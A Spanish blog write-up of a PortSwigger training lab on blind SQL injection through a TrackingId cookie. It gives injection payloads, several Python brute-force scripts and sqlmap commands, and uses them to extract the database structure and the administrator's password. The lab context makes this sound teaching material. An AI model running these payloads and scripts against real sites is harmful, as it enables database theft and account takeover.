Entrada

SQLI Lab 11

SQLI Lab 11

Skills

  • Blind SQL injection with conditional responses

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de Blind SQL Injection. La web utiliza una cookie de seguimiento para analíticas y realiza una consulta SQL que incluye el valor de la cookie enviada. Los resultados de la consulta SQL no se devuelven ni se muestran mensajes de error. Sin embargo, la web incluye un mensaje de Welcome back! en la pagina si la consulta devuelve alguna fila. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debemos explotar la Blind SQL Inyectiion para averiguar la contraseña del usuario administrador. Para resolver el laboratorio, hay que inicia sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId

Si enviamos una petición normal a la web aparecerá el texto Welcome back!

Sin embargo, si añadimos una ' al en el campo TrackingId no se muestra, esto quiere decir que podemos hemos logrado interferir en la consulta SQL que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Si en el campo cookie efectuamos esta inyección ' and 1=1-- - el texto de Welcome back! vuelve a aparecer, esto es debido a que ya no se está produciendo ese error. No podemos usar ' or 1=1-- - porque no funciona como queremos en este caso, por ejemplo, si usamos ' and 1=2-- - , el texto Welcome back! desaparecerá porque la query devuelve false, peros si usamos ' or 1=2-- - siempre devolverá true porque estamos usando el operador or y la query seguirá devolviendo true mientras la otra parte de la query sea true

Si usamos este payload en el campo cookie, veremos el mensaje Welcome back!, esto se debe a que el número de columnas existentes es uno. Si hacemos order by 2, no se mostrará el texto, debido a que se está produciendo un error

1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+order+by+1--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st

Descartamos que la base de datos en uso sea Oracle, debido a que en Oracle sería necesario añadir from dual al final para que no se produzcan errores

1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+null--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st

Para determinar la versión usamos @@version y al hacerlo nos damos cuenta que se produce un error, esto puede deberse a que la base de datos a la que nos enfrentamos no es la de Microsoft ni la de MySQL

1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+@@version--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st

Sin embargo, si usamos este otro payload no nos arrojará ningún error, por lo tanto podríamos intuir que la base de datos es PostgreSQL

1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+version()--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st

Confirmamos que la versión es PosgreSQL

1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+and+substr(version(),1,10)+=+'PostgreSQL'--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st 

De esta forma podemos ver la longitud que tiene la cadena que vamos a dumpear, hay que probar con ambos operadores or y and, dependiendo de la consulta uno puede arrojar resultar inconsistentes u ambos puedes ser válidos. En este caso or no funciona correctamente y hay que usar and, con la longitud en 134 no nos arroja ningún error, sin embargo si la incrementamos a 135 si que obtenemos el error

1
Cookie: TrackingId=Pls1hO5hFWG9D8iI'+and+length(version())=134--+-+; session=9Urch8ydtajImJUb0xQSyEsITyiiKOfw

Para poder dumpear datos vamos a utilizar todos los caracteres imprimibles de la librería string de python

1
2
3
4
5
6
7
8
(pythonProject) PS C:\Users\Sergio\PycharmProjects\pythonProject> python
Python 3.11.10 | packaged by Anaconda, Inc. | (main, Oct  3 2024, 07:22:26) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

Como vamos a ir iterando para a eliminar los caracteres que se repiten

1
2
3
4
5
6
#!/usr/bin/python3

import string

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
print(characters)
1
2
# python print_characters.py
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 	

Debido a que el Cluster bomb de Burpsuite no es tan cómodo usarlo, vamos a usar python para que nos dumpee el output completo de la instrucción version(). Lo primero que debemos hacer es instalar pwntools

1
2
3
4
# sudo apt-get update
# sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# python3 -m pip install --upgrade pip --break-system-packages
# python3 -m pip install --upgrade pwntools --break-system-packages

He creado este script para obtener la información de forma más clara que ejecutando un Cluster bomb mediante Burpsuite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0aa800780323059880b6f94e001d0032.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 135):
            for character in characters:
                cookies = {
                    'TrackingId': "Pls1hO5hFWG9D8iI' and (select substr(version(),%d,1)='%s')-- - " % (
                    position, character),
                    'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Ejecutamos el script obteniendo el output al completo del comando version()

1
2
3
# python3 sqli_conditional_response.py
[...\....] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(version(),134,1)='i')-- - 
[p] output: PostgreSQL+12.20+(Ubuntu+12.20-0ubuntu0.20.04.1)+on+x86_64-pc-linux-gnu,+compiled+by+gcc+(Ubuntu+9.4.0-1ubuntu1~20.04.2)+9.4.0,+64-bits

Obtenemos la longitud de todas las bases de datos, la cual es de 44 caracteres

1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(datname,', ')+from+pg_database))=44--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX

Adaptamos el script anterior para bruteforcear el nombre de las bases de datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a7d000e043dee26b4ab626a004200c4.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 45):
            for character in characters:
                cookies = {
                    'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(datname,', '),%d,1) from+pg_database)='%s'-- - " % (
                    position, character),
                    'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
                }

                p1.status(cookies['TrackingId'])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Estas son las bases de datos obtenidas

1
2
3
# python3 sqli_conditional_response.py
[▘] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(string_agg(datname,', '),44,1) from+pg_database)='_'-- - 
[▗] Output: postgres,+template1,+template0,+academy_labs

Identificamos la base de datos que está en uso actualmente

1
Cookie: TrackingId=Pls1hO5hFWG9D8iI'+and+length(current_database())=12--+-+; session=9Urch8ydtajImJUb0xQSyEsITyiiKOfw

Modificamos el script de python para obtener la base de datos actual

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 13):
            for character in characters:
                cookies = {
                    'TrackingId': "Pls1hO5hFWG9D8iI' and (select substr(current_database(),%d,1)='%s')-- - " % (
                    position, character),
                    'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el nombre de la base de datos en uso

1
2
3
# python sqli_conditional_response.py
[O] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(current_database(),12,1)='s')-- - 
[../.....] Output: academy_labs

Obtener la longitud los esquemas para la base de datos en uso

1
Cookie: TrackingId=BqARFKHGTXlkQv0f'+and+length((select+string_agg(schema_name,', ')+from+information_schema.schemata))=38--+-+; session=PDzYnGW9Ald1yVYhbOOLuw5PTdPkXSmc

Modificamos el script de python para obtener todos los esquemas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 39):
            for character in characters:
                cookies = {
                    'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(schema_name,', '),%d,1) from information_schema.schemata)='%s'-- - " % (
                    position, character),
                    'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos todos los esquemas para la base de datos actual

1
2
3
# python sqli_conditional_response.py
[▁] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(string_agg(schema_name,', '),38,1) from information_schema.schemata)='a'-- - 
[▅] Output: pg_catalog,+public,+information_schema

Identificamos el número de caracteres que hay en la consulta, el cual es de 15 caracteres, esto lo vamos a utilizar para obtener las tablas del esquema public

1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))=15--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX

Modificamos nuevamente el script de python para bruteforcear las tablas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 16):
            for character in characters:
                cookies = {
                    'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(table_name,', '),%d,1) from information_schema.tables where table_schema='public')='%s'-- - " % (
                    position, character),
                    'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
                }

                p1.status(cookies['TrackingId'])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el nombre de las tablas del esquema public

1
2
3
# python sqli_conditional_response.py
[......\.] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(string_agg(table_name,', '),15,1) from information_schema.tables where table_schema='public')='g'-- - 
[◥] Output: users,+tracking

Obtenemos el número de caracteres que tienen las columnas de la tabla users, el cual es de 25 caracteres

1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(column_name,',+')+from+information_schema.columns+where+table_name='users'))=25--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX

Modificamos el script para obtener el nombre de las columnas de la tabla users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a7d000e043dee26b4ab626a004200c4.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 26):
            for character in characters:
                cookies = {
                    'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(column_name,', '),%d,1) from information_schema.columns where table_name='users')='%s'-- - " % (
                    position, character),
                    'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
                }

                p1.status(cookies['TrackingId'])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Extraemos el nombre de las columnas

1
2
3
# python3 sqli_conditional_response.py
[>] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(string_agg(column_name,', '),25,1) from information_schema.columns where table_name='users')='i'-- - 
[o] Output: username,+output,+email

Obtenemos la longitud de la columna users, la cual es de 29 caracteres

1
Cookie: TrackingId=q5zrdy5bS1cbQoge'+and+length((select+string_agg(username,', ')+from+users))=29--+-+; session=TLQCRenf9WOJ32JrP9iO3PG1TqebSben

Modificamos el script para bruteforcear los usernames

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a5d00a603008a5b80aacc1e00950014.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 30):
            for character in characters:
                cookies = {
                    'TrackingId': "q5zrdy5bS1cbQoge' and (select substr(string_agg(username,', '),%d,1) from+users)='%s'-- - " % (
                    position, character),
                    'session': "TLQCRenf9WOJ32JrP9iO3PG1TqebSben"
                }

                p1.status(cookies['TrackingId'])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos un listado de usuarios

1
2
3
# python sqli_conditional_response.py
[ ] Fuerza bruta: q5zrdy5bS1cbQoge' and (select substr(string_agg(username,', '),29,1) from+users)='s'-- - 
[↑] Output: administrator,+wiener,+carlos

Obtenemos la longitud de la contraseña del usuario administrator, la cual es de 20 caracteres

1
Cookie: TrackingId=q5zrdy5bS1cbQoge'+and+length((select+password+from+users+where+username='administrator'))=20--+-+; session=TLQCRenf9WOJ32JrP9iO3PG1TqebSben

Modificamos le script para obtener la contraseña del usuario administrador

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a5d00a603008a5b80aacc1e00950014.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 21):
            for character in characters:
                cookies = {
                    'TrackingId': "q5zrdy5bS1cbQoge' and (select substr(password,%d,1) from users where username='administrator')='%s'-- - " % (
                    position, character),
                    'session': "TLQCRenf9WOJ32JrP9iO3PG1TqebSben"
                }

                p1.status(cookies['TrackingId'])

                r = requests.get(url, cookies=cookies)

                if "Welcome back!" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos la contraseña del usuario administrador

1
2
3
# python sqli_conditional_response.py
[p] Fuerza bruta: q5zrdy5bS1cbQoge' and (select substr(password,20,1) from users where username='administrator')='m'-- -
[*] Output: qfnmnxnxn87g12jt6ndm

Podríamos obtener también la contraseña del usuario administrator usando sqlmap, lo primero es listar las bases de datos

1
2
3
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
available databases [1]:
[*] public

Listamos las tablas de la base de datos public

1
2
3
4
5
6
7
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
[2 tables]
+----------+
| tracking |
| users    |
+----------+

Listamos las columnas de la tabla users

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public -T users --columns --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| email    | varchar |
| password | varchar |
| username | varchar |
+----------+---------+

Dumpeamos el contenido de password y username de la tabla users

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public -T users -C password,username --dump --columns --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
Table: users
[3 entries]
+----------------------+---------------+
| password             | username      |
+----------------------+---------------+
| 1hks7t69qxtkjcpu73lf | administrator |
| 3f89mwv9aqd9sqtuuawl | carlos        |
| ynd8n4de1zy22jjq855c | wiener        |
+----------------------+---------------+

Nos logueamos como el usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.